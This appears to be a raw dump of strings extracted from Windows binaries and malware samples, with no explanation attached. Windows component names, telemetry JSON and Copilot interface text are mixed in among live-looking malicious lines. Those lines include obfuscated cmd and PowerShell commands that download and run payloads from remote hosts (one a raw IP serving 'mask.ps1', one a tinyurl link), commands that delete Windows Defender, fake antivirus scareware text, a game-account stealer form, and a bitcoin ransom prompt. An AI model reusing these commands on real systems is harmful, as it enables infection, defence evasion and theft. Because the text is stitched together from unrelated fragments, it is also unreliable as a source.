Microsoft.Windows.Wil.FeatureLogging
Windows.Internal.UI.Shell.WindowTabManager.pdb
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSIDcrieenablerIeEnabler.exe
Software\Microsoft\Windows\CurrentVersion\Ext\PreApprovedSoftware\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSIDerr_unmixing_ie_enabler_
shellcommon\shell\Windows.Internal.ShellCommon\TaskGroups\lib\TaskGroup.cpp
shellcommon\shell\Windows.Internal.ShellCommon\TaskGroups\lib\TaskGroupSwitchItemController.cpp
Windows.Internal.ShellExperience.StartMenu
q0000, datestamp 36b072a3a spyware application has been detected and windows has been shut down tospyware.monster.fx_wild_0x00000000if this is the first time you`ve seen this stop error screen, restart younew installation, ask you software manufacturer for any antivirus updateswindows detected unregistred version of antivirus 2010 protection on your computer.if problem continue, please activate your antivirus software to prevent compter
Windows Defence
Windows Defenc
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ClipboardHistory.Service
Microsoft.Windows.ApplicationModel.DataTransfer.CloudClipboard
Microsoft.Windows.ApplicationModel.DataTransfer.CloudClipboard.Aggregate
Microsoft.Windows.ApplicationModel.DataTransfer.DataPackageSerializer
Microsoft.Windows.TlgAggregateInternal
Windows.
Windows.Data.$
1ic:\windows\
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.penmenu\penmenusettings.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.search\searchboxplaceholder.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.search\websearchprovider.cpp
 Windows_NT/%lu.%lu.%lu.%lu (
windows.hlp`
Windows.Client.WebExperience_cw5n1h2txyew*
Microsoft.WindowsAppRuntime.1.7
windows.protocol
windows.protocol
windows.fileExplorerContextMenus
windows.comServer
windows.comInterface
windows.appExtension
windows.appExtension
windows.startupTask
windows.appExtensionHost
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
[windows.forms.clipboard]::getimage()
cmd.exesoportes_aos/v/r^st^artmsi^ex^ec-pa^ck^ag^e"http://gz.qa:8080/bobpywxmaszk7/j1rsrh/nvij75j/p/!computername!"q^k=^mzk^z-^qn!%systemroot%\system32\shell32.dll%
(tmp1)&"\silde4.dat"trnered=timerwscript.sleep3112headlandal=timerdataloge1=synco.expandenvironmentstrings("%windir%\syswow64\windowspowershell\v1.0\powershell.exe"
 assaulting\mentalitiestechnicolor.jsc:\windows\system32\shell32.dll%systemroot%
tc:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('http
c:\windows\system32\cmd.exe/cm^s^i^e^x^e^c.exe/q/ih^t^t^p^s^:^/^/^g^c^h^i^n^d^i^a^.^c^o^m^/^l^i^b^/^p^d^f^/^b^l^a^c^k^o^u^t^-^r^e^h^e^a^r^s^a^l^-^p^l^a^n^/^w^i^n^s
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;
c:\windows\system32\windowspowershell\v1.0\powershell.exe-
c:\windows\system32\windowspowershell\v1.0\powershell.exe-
s\system32
Windows
System32
C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
EnableVSStylewSystem.Windows.Forms.ToolStrip, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
,DockPanel_DefaultFloatWindowSize_Description
uc:\windows\system32\cmd.exe/
@path="c:\windows\system32\"+"notepad"
System.Windows.Forms
/s\system32\cmd.exed/x/e/r^s^t^ar^tms^i^e^xe^ckne=j^ngna^e/^q^u
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global
Global.WidgetViewWinUI3MicrosoftWindows.Clim
Exe.exeWindows.FullTrustApplica
GetWindowsAccountDomainSid
oy1c:\windows\system32\windowspowershell\v1.0\powershell.exe/w1echololbeyzgnbmijrjwtx;$a=-join(0x69,0x77,0x72|%{[char]$_});.($a)-urih''t''tp''://18''5.208''.''158''.''4''2/crajja/mask.ps1-outfilemask.ps1;powershell.exe-noprofile-executionpolicybypass-file"$env:programdata\mask.ps1"
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsStrin
Document Windows
New Windows
P~windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelwindows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
W~{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\powershell.exe{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\powershell.exe%
Windows PowerShell (x86)
W~{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe
Windows PowerShell
$STARTF_USESHOWWINDOWS
.-windowstylehidden-command"&{import-modulebitstransfer;start-
\Microsoft\Windows\/c PowerShell.exe -w
c:\windows\system32\ime\
Windows
Windows
C:\Windows\System32", Null, 0 * 1
"C:\Windows\System32", Null, 0 * 1
>Windows USB Servisi$18665594-f6e4-4ad8-a531-9d0a00520025B
PRP = "%" + Windows.TextBox1.Tag
C:\Windows\system32\mrt100.dllcm
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll\v4.0.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\system32\jscript9.dll
Windows Error Reporting
Windows
Winlogon
drive%\windows\
Windows.UI.StartScreen
Windows.UI.Text
Windows.UI.Text.Core
Windows.UI.UIAutomation
Windows.UI.UIAutomation.Core
Windows.UI.ViewManagement
%s\system32\taxver.exe%
&tytul=Tibissa.com&tresc=Nazwa%20konta:DockSiteSoftware\Microsoft\Windows\CurrentVersion\Policies\System.gif%3E <br> ........ \ocsdebug.txtTibia - Free Multiplayer Online Role Playing Game - Account>Character%20on%20the%20map<a>&od=>Zobacz%20postac%20na%20Tibia.com<a>+<br>+<a%20href=https://secure.tibia.com/account/?subtopic=accountmanagement>Zaloguj%20sie%20na%20Tibia.com<a>+<br>+<a%20href=http://tibia.pl/earth.php?x=<br>Haslo:<br>World:&tytul=Tibissa.com&tresc=Account%20name:>Polozenie%20postaci%20na%20mapie<a>&od=<br><a%20href=http://www.tibia.com/community/?subtopic=characters%26name=.gif%3E<br>Identyfikator:ListActns>Informations%20from%20Tibia.com<a>+<br>+<a%20href=https://secure.tibia.com/account/?subtopic=accountmanagement>Login%20to%20Tibia.com<a>+<br>+<a%20href=http://tibia.pl/earth.php?x=
sc.exe start \WINDOWS\system32\regsvr32.exe58.49.58.20sc.exe description \WINDOWS\sc.exestoped -dbat" type= own type= interact start= auto DisplayName= sc.exe create GetSecurityInfo' target='_blank'>test</a>C:\bootfont.biz
software\microsoft\windows\currentversion\uninstall
you need to reboot your computer to finalize uninstallation.you need to reboot your computer prior to uninstallation. reboot now?are you sure you want to uninstall safety alerterfrom your computer?download new version software for the virus protection.disenfranchising{e2b8cea1-c8a7-48e2-b2fd-89ae5c608fb8}softwaremicrosoftwindowscurrentversionshellserviceobjectdelayload%s /del/c del %s   >>   null
xsystem32\drivers\pcihdd.syssystem32\userinit.exe.mackt
%MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global
#MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHos
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!"
:SGProvides basic host functionalityEYServiceWindows Host Service\godown.dll\hodll.dll\ViewScreen.dll\filesystem.dll\Data.bin!#ALF:Trojan:MSIL/AgentTesla.CVZ!MTB
ZCLRJitAttachStateg_CLREngineMetricsMetaDataGetDispensersinglefilehost.exeD:\a\_work\1\s\artifacts\obj\coreclr\windows.x
WindowsCreateString
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
<description> Windows system utility service  </description>
c:\windows\temp\log.tmpc
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.System.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Internal.Feeds.Providers.FeedChannelManager.g.h
v..\windows\system32\cmd.exe/cstartc:\microsoftsecurity\microsoftsecurity.exec:\microsoftsecurity\microsoft.a3x&exit
\desktop\miner\fullminer\windowshubExploit:Python/PunBB.A!MTB
rt::impl::wait_for_completed<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Storage::StorageFile>>(const struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Storage::StorageFile> &,const unsigned int)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Storage::StorageFile>,struct winrt::Windows::Storage::StorageFile>::GetResults(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVector<struct winrt::Windows::Foundation::Collections::IVector<struct winrt::Windows::Storage::IStorageItem>,struct winrt::Windows::Storage::IStorageItem>::Append(const struct winrt::Windows::Storage::IStorageItem &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVector<struct winrt::Windows::Foundation::Collections::IVector<struct winrt::Windows::Storage::IStorageItem>,struct winrt::Windows::Storage::IStorageItem>::GetView(void) const
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\Microsoft.Windows.AppLifecycle.ActivationRegistrationManager.g.h
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::Microsoft::Windows::AppLifecycle::factory_implementation::ActivationRegistrationManagerT<struct winrt::Microsoft::Windows::AppLifecycle::factory_implementation::ActivationRegistrationManager,struct winrt::Microsoft::Windows::AppLifecycle::implementation::ActivationRegistrationManager>::ActivateInstance(void) const
struct winrt::com_ptr<struct winrt::Microsoft::Windows::AppLifecycle::implementation::IInternalValueMarshalable> __cdecl winrt::impl::as<struct winrt::Microsoft::Windows::AppLifecycle::implementation::IInternalValueMarshalable,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Storage::IStorageItem,class std::vector<struct winrt::Windows::Storage::IStorageItem,class std::allocator<struct winrt::Windows::Storage::IStorageItem> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Storage::IStorageItem>::RemoveAtEnd(void)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Storage::IStorageItem,class std::vector<struct winrt::Windows::Storage::IStorageItem,class std::allocator<struct winrt::Windows::Storage::IStorageItem> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Storage::IStorageItem>::RemoveAt(const unsigned int)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Storage::IStorageItem,class std::vector<struct winrt::Windows::Storage::IStorageItem,class std::allocator<struct winrt::Windows::Storage::IStorageItem> >,struct winrt::impl::single_threaded_collection_base>,struct win
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows.hlp`
Windows.UI.ViewManagement.Core
Windows.UI.WebUI
aProvidersFinished:undefined,RC:n.config.perfInstV2?r.RendersCompleted:undefined,RCR:undefined,PS:n.config.perfInstV2?r.PreviewPaneStart:undefined,PF:n.config.perfInstV2?r.PreviewPaneFinish:undefined,ANA:n.config.perfInstV2&&(n.config.enableAnaheimDataSH||n.config.enableAnaheimDataQF)?r.AnaheimDataIndexCount:undefined,MRUFAF:n.config.perfInstV2&&(n.config.enableMRUFilesAndFoldersTelemetry||n.config.disableMRUFilesAndFoldersWildCards)?r.MRUFilesAndFoldersDefinedCount:undefined,MRUFAFU:n.config.perfInstV2&&(n.config.enableMRUFilesAndFoldersTelemetry||n.config.disableMRUFilesAndFoldersWildCards)?r.MRUFilesAndFoldersUndefinedCount:undefined,IGR:t.getIGRFromIGI(r.ImageGridInfo),NOR:n.config.enableNoRLog?r.NumberOfResponse:undefined,PFS:n.config.logProviderFirstSuggestion?r.ProviderFirstSuggestion:undefined};for(let n in r.renderGroupFinished){let t=r.renderGroupFinished[n];if(t.iconsFinished!=t.suggestionsFinished){let i=n.substr(1);if(n.startsWith("T"))u.TRIR.push({T:i,V:t.iconsFinished});else{let n=i.split(",");for(let i of n)u.IRFT[i]=Math.max(t.iconsFinished,u.IRFT[i]||0)}}}if(t.renderingStopped(r)){let t=0;for(let n in r.renderGroupFinished)t=Math.max(t,r.renderGroupFinished[n].iconsFinished);r.FirstRenderTime&&(u.FRT=r.FirstRenderTime);t&&(r.AllRenderFinished=t,u.RS=t,t=Math.max(t,r.PreviewPaneOpened.latency||r.PreviewPaneCanceled.latency||0),r.PageLoadTime=t,u.PLT=t);r.SearchHomeRenderEvent!=n.InstrumentationCommon.QFPERFPING_INVALID_MEASURE&&(u.HLT=Math.max(u.PLT-u.K,r.SearchHomeRenderEvent))}else{let n=t.getOffsettedNow();u.RS=n;u.PLT=n}return n.InstrumentationCommon.createPerfPingEvent(r.ImpressionGuid,[u],"Keystroke",r.ConversationId,r.DataSourcesState,r.ResponseFromCache)}static updatePageIG(n){_G.IG=t.getImpressionGuid(n)}static getHashQueryString(t){return t!=null?n.stringHashCode(n.Host.getPrivacyNumber()+t).toString():""}static createMasterPageImpression(r,u,f,e,o){let c=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();const l=!(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.wsbtesthooks)&&(c===1||c===0);let s={dataSources:o||[],layoutNodes:[],pageName:r,rawQuery:l?"":e?e.queryToFetch:"",isQuery:!1,impressionUrl:t.createVirtualImpressionURL(u,f),appName:t._instrumentationProvider.getApplicationName(),enrichedClientInfo:{FDPartnerEntry:i,nclid:_G.nclid,isOffline:n.isBrowserOnline()?0:1,webRequested:f?1:0}},h=n.safeExecute(()=>t._instrumentationProvider.getEnrichedClientInfo(e),"getEnrichedClientInfo");if(h)for(let n in h)s.enrichedClientInfo[n]=h[n];if(n.config.addExtraInstLoad){if(n.config.extraInstLoadSize&&!t.extraInstPayload){let i="";while(i.length<n.config.extraInstLoadSize)i+="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";t.extraInstPayload=i}n.config.addExtraInstLoadPercentage&&Date.now()%100<=n.config.addExtraInstLoadPercentage&&(s.enrichedClientInfo.exInst=t.extraInstPayload)}return s}static logKeystrokeData(i,r){var s,e,h,c;t.processPendingDataSources(i);n.TestHookUrlParameters&&t.addDuplicatesDataSource(i);let o=Object.keys(i.DataSources).map(n=>i.DataSources[n]).concat(t.createNonSuggestionsDataSource(i.PendingInstrumentedItems,i.PendingSyntheticSuggestions));if(i.DataSources={},i.PendingSyntheticSuggestions={},i.PendingInstrumentedItems={},o.length!=0||!i.MasterPageImpressionCreated){let u;if(i.RenderingStarted&&(u=DsLManager.CreateLayoutNode(_d.body,n.InstrumentationCommon.DEFAULT_APP_NAMESPACE,!1,!0,i.MasterPageImpressionCreated,!0)),i.MasterPageImpressionCreated)if(n.config.splitDataUploadEndpoint){let[h,c]=t.splitDataSource(o),f=[],s=[];for(const n of u)e=this.splitLayoutNodes(n),e.length>=2&&(e[0]&&f.push(e[0]),e[1]&&s.push(e[1]));const r=33554432;n.shouldWindowsAndBingLogToBing()?t.logEvent("ClientInst",null,null,o,u,i.ImpressionGuid,null,null,null):n.shouldBingLogToBing()&&t.logEvent("ClientInst",null,null,c,s,i.ImpressionGuid,null,null,null,"BingTelemetry",r);n.shouldWindowsLogToWindows(r)&&t.logEvent("ClientInst",null,null,h
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe
\windows\system32\wscript.exe~.vxd//e:vbscript/seeingdux//b
0onFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939802716933,"MaxEventTime":134163939802716933,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WWanAPI.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\RuntimeBroker.exe","FlatSHA256Hash":[],"FileHash":[115,29,62,163,66,151,215,234,195,82,103,189,216,139,89,117,108,18,132,143,31,142,4,163,192,188,31,140,197,39,101,121],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"mbnapi.dll","InternalName":"mbnapi.dll","FileDescription":"Mbnapi","ProductName":"Microsoft
 Windows
accounts.accesscontrol.windows.net7
oft\windows\
:\windows \sy
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"\windowsnt\currentversion\appcompatflags\custom"-+
/system32/mpsigstub.exe\""
-windowstylehiddeniex(
= "c:\" + xxxxxpath + "system32\c" + "script" + ".ex"application.eval (
es\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
Microsoft.Windows.Mup
Microsoft.Windows.IoRate
Microsoft.Windows.Storage.Classpnp
Microsoft.Windows.Storage.Crashdmp
Microsoft.Windows.FileSystem.Udfs
*Microsoft Windows     
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
EnumWindows
Microsoft.Windows.Kernel.UCPD
WindowsInternal.ShellCode.EditorDriverLive.exe$b84c135b-a8d6-4716-9615-5af0962eb287
<ahref="http://fiz6qed.org/windowsupdate.exe">d#
Windows Updatemswinsck.ocaB
\system32\drivers\krnl32.batdel (
Microsoft.Windows.ParentalControls_cw5n1h2txyewyx
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App
WindowsForms10.COMBOBOX.app.0.129c866_r7_ad1
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
.?AU?$__abi_FunctorCapture@V<lambda_eca6502de176d38d8904d6b4c4eaa587>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Microsoft.Windows.HEVCDecoder
Microsoft.Windows.MediaFoundation.H265Decoder
Microsoft.Windows.MediaFoundation.CallStack
.?AU?$IAsyncOperationWithProgressCompletedHandler_impl@U?$AggregateType@PEAVDeploymentResult@Deployment@Management@Windows@@PEAUIDeploymentResult@234@@Internal@Foundation@Windows@@UDeploymentProgress@Deployment@Management@4@@Foundation@Windows@@
.?AU?$IAsyncOperationWithProgressCompletedHandler@PEAVDeploymentResult@Deployment@Management@Windows@@UDeploymentProgress@234@@Foundation@Windows@@
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
rmdir/s/q"c:\programfiles\windowsdefender
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
areyouwanttoremovewindowsdefender
,'windowshide':!![]}
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Windows NT\CurrentVersion
cashback-sysbar.dllcashback-sys_2.dllsoftware\microsoft\windows\currentversion\ext\settings\{5a921613-323f-4906-a026-b7205f3a01ef}MonitoringTool:Win32/FTPKeylogger
{Shell ("C:\\Windows\\System32\\cmd.exe /c echo(wget 'https://tinyurl.com/y88r9epk' -OutFile a.exe) > b.ps1powershell -ExecutionPolicy ByPass -File b.ps1START /MIN a.exe
<kpowershell.exe  -ExecutionPolicy Bypass -NoProfile -WindowStyle hiddenEncodedcommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAe= MsgBox("WE HAVE ALL YOUR DATA- YOU WANT PAY?-0.2bitcoin-78fcWL7M8A7woRBdnPurezEsW1o63RVYUS", vbYesNo)Call Shell
C:\ProgramData\Micapp\WindowsMilumTrojan:AndroidOS/HiddenApp.EP!MTB
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
